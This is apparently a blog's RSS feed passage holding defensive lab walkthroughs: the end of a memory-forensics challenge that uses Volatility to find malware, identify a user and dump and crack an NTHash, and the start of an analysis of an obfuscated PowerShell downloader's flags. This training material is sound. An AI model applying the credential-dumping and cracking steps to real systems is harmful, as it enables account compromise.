sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5_hu_aaa11008ae80d3de.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Great, it worked! Let&amp;rsquo;s get to work on gathering some intelligence and see if we get any hits on &lt;em&gt;VirusTotal&lt;/em&gt; or &lt;em&gt;Hybrid Analysis&lt;/em&gt;. First we&amp;rsquo;ll grab a hash of the file which will help us document our indicators of compromise; we can do this right from the terminal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3200px&#34; data-flex-grow=&#34;1333&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/458800ab8fc94eb4506c4464c6d58d12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, let&amp;rsquo;s search &lt;em&gt;VirusTotal for&lt;/em&gt; any hits&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1170px&#34; data-flex-grow=&#34;487&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/bb1b5ad5de846d8f19a5c8b1a5b1b5fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay — We&amp;rsquo;ve got a lot of detection and additional analysis for this tool now and we can confirm that it is malicious. For our challenge, we are looking for the name of the malware. &lt;em&gt;VirusTotal&lt;/em&gt; has the filename listed as &lt;em&gt;winPEAS.exe —&lt;/em&gt; let&amp;rsquo;s submit our finding and see if we are on the right track.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/1ae2b798b94e8aefa4066b30322672a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-user-account-was-compromised-format-domainnameusername&#34;&gt;Question 4: Which User Account was compromised? Format (DomainName/USERNAME)&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re going to jump back into &lt;em&gt;Volatility&lt;/em&gt; to try and scope the impact of this malware and look for which user on the system was compromised. All of our previous process analysis has not given us much user information yet. Once again, we&amp;rsquo;ll turn to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#getsids&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility command reference&lt;/a&gt; for a starting point:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To view the SIDs (Security Identifiers) associated with a process, use the getsids command. Among other things, this can help you identify processes which have maliciously escalated privileges and &lt;strong&gt;which processes belong to specific users.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3469px&#34; data-flex-grow=&#34;1445&#34; height=&#34;35&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b1f50fb6702d9927d839d89343718816_MD5.png&#34; width=&#34;506&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin sounds like it could be what we are looking for to uncover additional information. Since we know the PID (7592) of the malicious executable, let&amp;rsquo;s also see if we can get any info about the user account that ran it. We can run the &lt;strong&gt;getsids&lt;/strong&gt; plugin and grep the malicious PID to the output. Hopefully, this will list out the security identifier (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SID&lt;/a&gt;) of the user.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5333px&#34; data-flex-grow=&#34;2222&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c5112484570986f252e737a920ffaafa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;738px&#34; data-flex-grow=&#34;307&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/10af10e0c7953b7e9dc9fdd3aded0c5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! It looks like the top result is the user account, &lt;em&gt;CyberJunkie.&lt;/em&gt; Even though we have the domain identifier in the SID, we still need to find the domain name to complete the question.&lt;/p&gt;&#xA;&lt;p&gt;If we go back to search the built-in help and the command line reference, we don&amp;rsquo;t see anything that references a domain specifically. We will have to get creative and go a little deeper. Let&amp;rsquo;s give the command line reference one more look for anything that could give us more information generally. What about the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#envars&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;envars&lt;/strong&gt;&lt;/a&gt; plugin? This sounds like it could reveal some new, relevant artifacts.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To display a process&amp;rsquo;s environment variables, use the envars plugin. Typically this will show the number of CPUs installed and the hardware architecture (though the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;kdbgscan&lt;/a&gt; output is a much more reliable source), the process&amp;rsquo;s current directory, temporary directory, session name, computer name, user name, and various other interesting artifacts.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In a Windows domain, the USERDOMAIN environment variable contains the workgroup or domain that a user belongs to. I&amp;rsquo;m thinking that we can try the same method that we did to get the account SID and grep the malicious PID?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4e0e5625d5b80e39c94ebe1ddce57011_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like this worked. Now we have the domain name and the username of the victim. This plugin actually gave us both parts of the answer, too. Now we have two methods to discover usernames.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/5c06a61f9c814de4f398ceff6a4851a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-compromised-user-password&#34;&gt;Question 5: What is the compromised user password?&#xA;&lt;/h3&gt;&lt;p&gt;For the last task, we need to get the password for &lt;em&gt;CyberJunkie&lt;/em&gt;. I&amp;rsquo;m not sure where this fits into the investigation narrative, but it will be fun to keep exploring &lt;em&gt;Volatility&lt;/em&gt; and practice some password cracking while we&amp;rsquo;re at it. Let&amp;rsquo;s go back one last time to the &lt;em&gt;Volatility&lt;/em&gt; help and see what we plugin might help us.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3042px&#34; data-flex-grow=&#34;1267&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e32f15a9ee0bf3b78927c9287f4f2440_MD5.png&#34; width=&#34;431&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems like the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#hashdump&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;hashdump&lt;/strong&gt;&lt;/a&gt; plugin might be able to dump the user&amp;rsquo;s password hashes for us. We&amp;rsquo;ll get a little more context from the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#hashdump&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;command reference&lt;/a&gt; again:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To extract and decrypt cached domain credentials stored in the registry, use the hashdump command&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Hashes can now be cracked using John the Ripper, rainbow tables, etc.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try it out. Again, we will output the results to a text file for easier analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;6400px&#34; data-flex-grow=&#34;2666&#34; height=&#34;30&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/0bd979d9672de0782a4b2de3f241446a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the output, we now have the NTHash of the user password from cached credentials in the registry! Now we need to crack the password to solve the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/482af2c9833dfbbaf6de6564ed21f525_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;Volatility&lt;/em&gt; docs suggest that we can throw the hash into &lt;em&gt;John the Ripper&lt;/em&gt;, or something similar. I prefer &lt;em&gt;John the Ripper&lt;/em&gt; but you could also use &lt;em&gt;hashcat&lt;/em&gt; or even &lt;em&gt;CrackStation&lt;/em&gt; if you want to do a quick check. For illustrative purposes, I will show all three here and use the classic &lt;em&gt;rockyou.txt&lt;/em&gt; wordlist.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1244px&#34; data-flex-grow=&#34;518&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4913a40afdcc53cbb6bb3d232dfe70a0_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with John the Ripper.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;145&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b2ca87b1bad74370967a2e2f44fc41fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with hashcat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/7c1efe8fa871cbd127071ddf7b296c7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the user&amp;rsquo;s NTHash with CrackStation.&lt;/p&gt;&#xA;&lt;p&gt;There we have it! Using &lt;em&gt;Volatility&lt;/em&gt; we were able to dump the user hashes and crack them to discover the password. Let&amp;rsquo;s submit the answer and wrap this challenge up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/edfef31e7a96155f6def3b60d005f58a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h4&gt;&lt;p&gt;Great job! We got to explore &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility3&lt;/em&gt;&lt;/a&gt; and made it through the challenge. This challenge really got me interested in utilizing &lt;em&gt;Volatility&lt;/em&gt; and was a great introduction to the tool. Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend.io&lt;/a&gt; for the awesome lab and thank you for checking out this walkthrough and stumbling through the challenge with me. Stay curious!&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PowerShell Script Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/</link>
            <pubDate>Sun, 11 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f5d3f7d7ca43056f9865d885ff4cb868_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PowerShell Script Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--powershell-script-challenge-walkthrough&#34;&gt;LetsDefend — PowerShell Script Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;powershell-script-analysis-with-cyberchef&#34;&gt;PowerShell Script Analysis with CyberChef&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f5d3f7d7ca43056f9865d885ff4cb868_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h4&gt;&lt;p&gt;Hello! I just started checking out the practice labs over at &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend&lt;/a&gt; and adding them into my rotation. I want to take the opportunity to give back and do some write-ups as I go through the site to help anyone who stumbles across this post to level-up their analysis. This challenge room is rated easy, but it presents a great opportunity not only to get familiar with the platform (and find some flags!) but also sharpen my own skills by digging deeper with some research into some fundamentals PowerShell script analysis. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-script#virtual&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/powershell-script#virtual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You&amp;rsquo;ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Tool Needed:&lt;/strong&gt; Cyberchef&#xA;&lt;strong&gt;File Location:&lt;/strong&gt; C:\Users\LetsDefend\Desktop\script.txt&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/in/zaid-shah-05527a22b/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ZaadoOfc&lt;/a&gt;&#xA;&lt;strong&gt;Credit:&lt;/strong&gt; csnp.org&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h4 id=&#34;question-1-what-encoding-is-the-malicious-scriptusing&#34;&gt;&lt;strong&gt;Question 1: What encoding is the malicious script using?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;First, let&amp;rsquo;s take a quick look at this script and focus on the parameters:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/8d9519708c264a83386f6fd14e576e07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice the &lt;code&gt;-Enc&lt;/code&gt; parameter and the script that follows? PowerShell supports abbreviated parameters as long as it is unambiguous and couldn&amp;rsquo;t be confused with another command. With that in mind, this looks like it is the abbreviated parameter of &lt;code&gt;-EncodedCommand&lt;/code&gt;. According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, this parameter allows PowerShell to accept a &lt;strong&gt;Base64&lt;/strong&gt; encoded command. The encoding obfuscates the script so that security tools and defenders won&amp;rsquo;t be as easily able to detect and analyze the contents.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try the answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/6d1cc092206af693089af575f3f19a74_MD5.png&#34; width=&#34;370&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice, we got one! Let&amp;rsquo;s keep moving.&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-what-parameter-in-the-powershell-script-makes-it-so-that-the-powershell-window-is-hidden-when-executed&#34;&gt;&lt;strong&gt;Question 2: What parameter in the powershell script makes it so that the powershell window is hidden when executed?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Looking at the parameters again, one sticks out:&lt;code&gt;-W Hidden&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we refer to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-windowstyle-window-style&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, it seems that &lt;code&gt;-W&lt;/code&gt; is a shorthand for &lt;code&gt;-WindowStyle&lt;/code&gt; where &lt;code&gt;Hidden&lt;/code&gt; is a value that makes the session not visible to the user when the script is executed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1287px&#34; data-flex-grow=&#34;536&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/f599bdec935ca645813e6a8f56d004ec_MD5.png&#34; width=&#34;778&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-what-parameter-in-the-powershell-script-prevents-the-user-from-closing-theprocess&#34;&gt;&lt;strong&gt;Question 3: What parameter in the Powershell script prevents the user from closing the process?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Approaching this the same way as the last question, there is a parameter that seems like it might correct: &lt;code&gt;-NonI&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-noninteractive&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt;, this seems to be a parameter abbreviation for &lt;code&gt;-NonInteractive&lt;/code&gt; which means that the session won&amp;rsquo;t prompt for/require user input during execution of the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1151px&#34; data-flex-grow=&#34;479&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/bfabaf68dcc7ea2f1cf07db927a8d55c_MD5.png&#34; width=&#34;619&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-what-line-of-code-allows-the-script-to-interact-with-websites-and-retrieve-information-fromthem&#34;&gt;&lt;strong&gt;Question 4: What line of code allows the script to interact with websites and retrieve information from them?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;From &lt;strong&gt;&lt;em&gt;Question 1&lt;/em&gt;&lt;/strong&gt;, we know that we are looking at a &lt;strong&gt;Base64&lt;/strong&gt; encoded script so we need to decode and analyze the payload to understand what it is doing. Our challenge scenario tells us we will want to jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CyberChef&lt;/a&gt; to decode&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;716px&#34; data-flex-grow=&#34;298&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/663edeb7da0599e7c53cc2446914fc51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s apply the &lt;em&gt;From Base64&lt;/em&gt; operation to our recipe. We are getting closer and the script is starting to become readable, but notice the &lt;em&gt;NULL&lt;/em&gt; bytes?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/d877c6b4e624cdcb4970a099ee32f411_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;What if we add &lt;em&gt;Remove Null Bytes&lt;/em&gt; to the recipe, too?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/cbe77885c721a399c9888d24c0717dc6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That looks better!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2642px&#34; data-flex-grow=&#34;1100&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5_hu_b586915ae92309b3.png 800w, https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/0bfaaaa10356164ea430c5209bde3959_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we can read this, let&amp;rsquo;s take a closer look and tackle the rest of this question. We are looking for a &amp;quot; # &amp;ldquo;line of code allows the script to interact with websites and retrieve information from them&amp;rdquo;— let&amp;rsquo; look at the first line. We see a reference to the string &lt;em&gt;WebClient,&lt;/em&gt; this seems like a good place to start!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0#remarks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; states that &lt;code&gt;WebClient&lt;/code&gt; is a class in the System.Net namespace and is used to download or upload data to the internet. So by creating this class you can perform web-related tasks such as downloading files from URLs.&lt;/p&gt;&#xA;&lt;p&gt;If we take the whole line, it looks like we have our answer and can start to understand that the script might be trying to download something from somewhere&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1063px&#34; data-flex-grow=&#34;442&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/4ba2132940ca8af196b4b8ea7784160c_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 